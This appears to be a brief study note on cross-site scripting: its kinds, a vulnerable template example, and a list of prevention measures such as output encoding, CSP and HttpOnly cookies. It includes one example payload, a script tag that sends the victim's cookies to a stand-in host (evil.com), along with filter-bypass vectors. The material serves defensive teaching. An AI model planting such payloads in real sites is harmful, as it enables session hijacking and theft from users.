Skip to content

XSS (Cross-Site Scripting)

  • Attacker gets the victim's browser to run JS in the target site's origin
  • Access to: cookies (if not HttpOnly), localStorage, DOM, any authenticated API

Kinds

  • Stored — payload saved on server, served to every viewer
  • Reflected — payload in request, echoed back; requires a crafted link
  • DOM-based — vulnerable client JS reads from location.hash and writes to innerHTML
<!-- server renders user.bio without escaping -->
<div>Bio: {{ user.bio }}</div>

<!-- attacker sets bio to: -->
<script>fetch('https://evil.com/?c=' + document.cookie)</script>

Prevention

  1. Context-aware output encoding at the point of output
    • HTML body → escape < > & " '
    • HTML attribute → escape + quote
    • JS context → JSON-encode, never interpolate
    • URL → encodeURIComponent
  2. Auto-escaping templates — Jinja2, Django, React JSX. Trouble: |safe, dangerouslySetInnerHTML, v-html
  3. Avoid sinksinnerHTML, document.write, eval, new Function
  4. Sanitize rich HTMLDOMPurify if you must accept HTML
  5. CSP — blocks inline / foreign scripts as defense in depth
  6. HttpOnly cookies — JS can't read the session cookie

Don't rely on

  • Input validation / blacklisting — <img onerror>, <svg onload>, javascript: all work. Encode on output
  • HTTPS / WAF — irrelevant; payload is stored as data and rendered as code